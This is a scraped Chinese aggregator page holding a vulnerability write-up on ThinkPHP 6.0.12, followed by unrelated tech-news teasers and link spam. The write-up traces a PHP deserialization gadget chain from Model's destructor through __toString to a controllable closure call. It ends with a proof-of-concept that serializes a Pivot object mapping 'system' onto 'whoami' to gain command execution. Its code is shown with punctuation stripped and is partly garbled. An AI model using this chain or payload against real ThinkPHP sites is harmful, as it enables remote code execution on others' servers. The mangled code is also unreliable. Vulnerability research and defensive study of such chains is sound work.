安庆大理运城常德铜陵江西
投稿投诉
江西南阳
嘉兴昆明
铜陵滨州
广东西昌
常德梅州
兰州阳江
运城金华
广西萍乡
大理重庆
诸暨泉州
安庆南充
武汉辽宁

Thinkphp最新版本漏洞分析

1月25日 壹世缘投稿
  环境
  Thinkphp6。0。12LTS(目前最新版本);
  PHP7。3。4。安装composercreateprojecttopthinkthinktp6测试代码
  漏洞分析
  漏洞起点不是desturct就是wakeup全局搜索下,起点在vendoropthinkhinkormsrcModel。php
  只要把thislazySave设为True,就会调用了save方法。
  【一所有资源关注我,私信回复资料获取一】
  1、网络安全学习路线
  2、电子书籍(白帽子)
  3、安全大厂内部视频
  4、100份src文档
  5、常见安全面试题
  6、ctf大赛经典题目解析
  7、全套工具包
  8、应急响应笔记
  跟进save方法,漏洞方法是updateData,但需要绕过且让为True,调用isEmpty方法。
  publicfunctionsave(arraydata〔〕,stringsequencenull):bool{数据对象赋值thissetAttrs(data);if(thisisEmpty()falsethistrigger(BeforeWrite)){}resultthisexists?thisupdateData():thisinsertData(sequence);
  跟进isEmpty方法,只要thisdata不为空就行。
  thistrigger方法默认返回就不是false,跟进updateData方法。漏洞方法是checkAllowFields默认就会触发。
  protectedfunctionupdateData():bool{事件回调if(falsethistrigger(BeforeUpdate)){}thischeckData();获取有更新的数据datathisgetChangedData();if(empty(data)){关联更新if(!empty(thisrelationWrite)){thisautoRelationUpdate();}}if(thisautoWriteTimestampthisupdateTime){自动写入更新时间data〔thisupdateTime〕thisautoWriteTimestamp();thisdata〔thisupdateTime〕data〔thisupdateTime〕;}检查允许字段allowFieldsthischeckAllowFields();
  跟进checkAllowFields方法,漏洞方法是db,默认也是会触发该方法,继续跟进。
  protectedfunctioncheckAllowFields():array{检测字段if(empty(thisfield)){if(!empty(thisschema)){thisfieldarraykeys(arraymerge(thisschema,thisjsonType));}else{querythisdb();
  跟进db方法,存在thistable。thissuffix字符串拼接,可以触发toString魔术方法,把thistable设为触发toString类即可。
  publicfunctiondb(scope〔〕):Query{varQueryqueryqueryself::dbconnect(thisconnection)name(thisname。thissuffix)pk(thispk);if(!empty(thistable)){querytable(thistable。thissuffix);}
  全局搜索toString方法,最后选择vendoropthinkhinkormsrcmodelconcernConversion。php类中的toString方法。
  跟进toString方法,调用了toJson方法。
  跟进toJson方法,调用了toArray方法,然后以JSON格式返回。
  跟进toArray方法,漏洞方法是getAtrr默认就会触发,只需把data设为数组就行。
  publicfunctiontoArray():array{item〔〕;hasVforeach(thisvisibleaskeyval){if(isstring(val)){if(strpos(val,。)){〔relation,name〕explode(。,val);thisvisible〔relation〕〔〕}else{thisvisible〔val〕hasV}unset(thisvisible〔key〕);}}foreach(thishiddenaskeyval){if(isstring(val)){if(strpos(val,。)){〔relation,name〕explode(。,val);thishidden〔relation〕〔〕}else{thishidden〔val〕}unset(thishidden〔key〕);}}合并关联数据dataarraymerge(thisdata,thisrelation);foreach(dataaskeyval){if(valinstanceofModelvalinstanceofModelCollection){关联模型对象if(isset(thisvisible〔key〕)isarray(thisvisible〔key〕)){valvisible(thisvisible〔key〕);}elseif(isset(thishidden〔key〕)isarray(thishidden〔key〕)){valhidden(thishidden〔key〕);}关联模型对象if(!isset(thishidden〔key〕)true!thishidden〔key〕){item〔key〕valtoArray();}}elseif(isset(thisvisible〔key〕)){item〔key〕thisgetAttr(key);}elseif(!isset(thishidden〔key〕)!hasVisible){item〔key〕thisgetAttr(key);
  跟进getAttr方法,漏洞方法是getValue,但传入getValue方法中的value是由getData方法得到的。
  publicfunctiongetAttr(stringname){try{valuethisgetData(name);}catch(InvalidArgumentExceptione){relationthisisRelationAttr(name);}returnthisgetValue(name,value,relation);
  跟进getData方法,thisdata可控,fieldName来自getRealFieldName方法。
  跟进getRealFieldName方法,默认直接返回传入的参数。所以fieldName也可控,也就是传入getValue的value参数可控。
  跟进getValue方法,在Thinkphp6。0。8触发的漏洞点在处,但在Thinkphp6。0。12时已经对传入的closure进行判断。此次漏洞方法的getJsonValue方法。但需要经过两个if判断,thiswithAttr和thisjson都可控,可顺利进入getJsonValue方法。
  protectedfunctiongetValue(stringname,value,relationfalse){检测属性获取器fieldNamethisgetRealFieldName(name);if(arraykeyexists(fieldName,thisget)){returnthisget〔fieldName〕;}methodget。Str::studly(name)。Aif(isset(thiswithAttr〔fieldName〕)){if(relation){valuethisgetRelationValue(relation);}if(inarray(fieldName,thisjson)isarray(thiswithAttr〔fieldName〕)){valuethisgetJsonValue(fieldName,value);
  跟进getJsonValue方法,触发漏洞的点在closure(value〔key〕,value)只要令thisjsonAssoc为True就行。
  closure和value都可控。
  protectedfunctiongetJsonValue(name,value){if(isnull(value)){}foreach(thiswithAttr〔name〕askeyclosure){if(thisjsonAssoc){value〔key〕closure(value〔key〕,value);完整POP链条
  POC编写?phpnamespacethink{abstractclassModel{privatelazySprivatedata〔〕;privatewithAttr〔〕;protectedjson〔〕;protectedjsonAfunctionconstruct(obj){thislazySaveTthisdata〔whoami〔dir〕〕;thisexistsTthiswithAttr〔whoami〔system〕〕;thisjson〔whoami,〔whoami〕〕;thisjsonAssocT}}}namespacethinkmodel{usethinkMclassPivotextendsModel{}}namespace{echo(base64encode(serialize(newthinkmodelPivot(newthinkmodelPivot()))));}利用
投诉 评论 转载

中国移动光纤猫自带WiFi功能,还需要买路由器吗?我自己家里就是用的移动光猫,我觉得,要不要再买路由器,需要根据你的自身情况来看:1。家里wifi设备多移动光猫最大支持802。11n协议。(至少我家里用的是这种),……百公里加速1。1秒全新特斯拉Roadster亮相最近特斯拉的热度非常火,平均一天至少一个事故被曝光着实让人头疼,来看点不一样的东西,据报道,特斯拉全新Roadster正在洛杉矶Peterson汽车博物馆展览中。而特斯拉称搭载……AppStore限免电影精灵Mudra项目管理等,共5款在今天限免的iOS限免应用中,波老师精选了以下4款限免应用,1款限免游戏。复制logo上方名字即可前往AppStore下载。如遇恢复原价,则表示限免已结束,请谨慎下载。具……8HAI睡眠监测改善床垫让黑科技发挥最大优势,与深度睡眠相拥都说科技改变生活,在国外很多地方数码科技,智能家居已经开始普及,很多人感受到黑科技带来的方便快捷,不但节约时间,还能够让人充分享受生活的惬意。就算生活压力大,但是只要你懂得掌握……谷歌智能手表原型机被路人发现,苹果不偷设计偷营销?2010年,一位苹果工程师将iPhone4的工程原型机留在了一家酒吧,让全世界在正式亮相前几个月都能一睹iPhone4的风采。现在,谷歌即将推出的PixelWatch的一个测试……新技术赋能教育学专业高质量发展作者:杜岩岩(辽宁师范大学教育学院院长、教授)随着5G技术、大数据、物联网、人工智能等技术不断转化为生产力,新兴技术赋能人才培养体系变革,是积极应对新文科背景下教育学专业……西安电子科技大学在中国到底算什么水平?西安电子科技大学,地处西安,是我国著名的211高校,与成都的电子科技大学和北京的北京邮电大学并称两电一邮,他们是我国电子科技领域鼎足而立的三强。西安电子科技大学,拥有南北……320公里长续航,便宜小巧快充代步车,5门大4座设计,实拍凌凌宝BOX越来越多的消费者,对于汽车的认知越来越清晰,一款车子最本质的工作,就是一个地方到另一个地方,因此一款微型电动汽车,就能满足其需求,就不比要去花大钱去买大车。今天给大家……Thinkphp最新版本漏洞分析环境Thinkphp6。0。12LTS(目前最新版本);PHP7。3。4。安装composercreateprojecttopthinkthinktp6测试代码……2021年中3000到9000轻薄全能办公本推荐,AMDin创作声明:本文与各路厂商无任何利益相关,纯粹主观而客观地进行点评、提出建议,一家之言,还请大家理性看待前言我之前已经写过不少笔记本电脑选购的文章,推荐过不少性价比颇……能把TWS耳机当蓝牙音箱用的仅此一家,价格也是很实惠各位见过真无线耳机同时还支持接线作为有线耳机的TWS么?估计有不少会脱口而出BGVPQ2S。不过遗憾的是那款TWS没有火,然后最近BGVP又整了一款TWS和蓝牙音箱合二为……移动硬盘办理CE认证标准移动硬盘CE认证流程移动硬盘办理CE认证标准移动硬盘,主要指采用USB或IEEE1394接口,可以随时插上或拔下,小巧而便于携带的硬盘存储器,可以较高的速度与系统进行数据传输。……
APP拉新行业市面上的渠道商,一定要擦亮眼睛避免入坑直播卖货,电商的巨大危害雷蛇梭鱼X无线游戏耳麦体验解决多游戏平台切换烦恼5G应急通讯洪水救援献奇石头智能双刷洗地机U10体验还真有两把刷子华为对员工的四零七要九度欧拉长安新能源部分车型先后停止接单新能源汽车市场结构面临调整研究人员在泰国北部发现一掌突蟾属新物种腾讯视频涨价了?恒大滴滴见证一个新时代的开启手机进化1980年的手机长啥样?什么!它就长这样?更适合中国家庭!全新美的W11会洗拖布机器人详细评测

友情链接:中准网聚热点快百科快传网快生活快软网快好知文好找七猫云易事利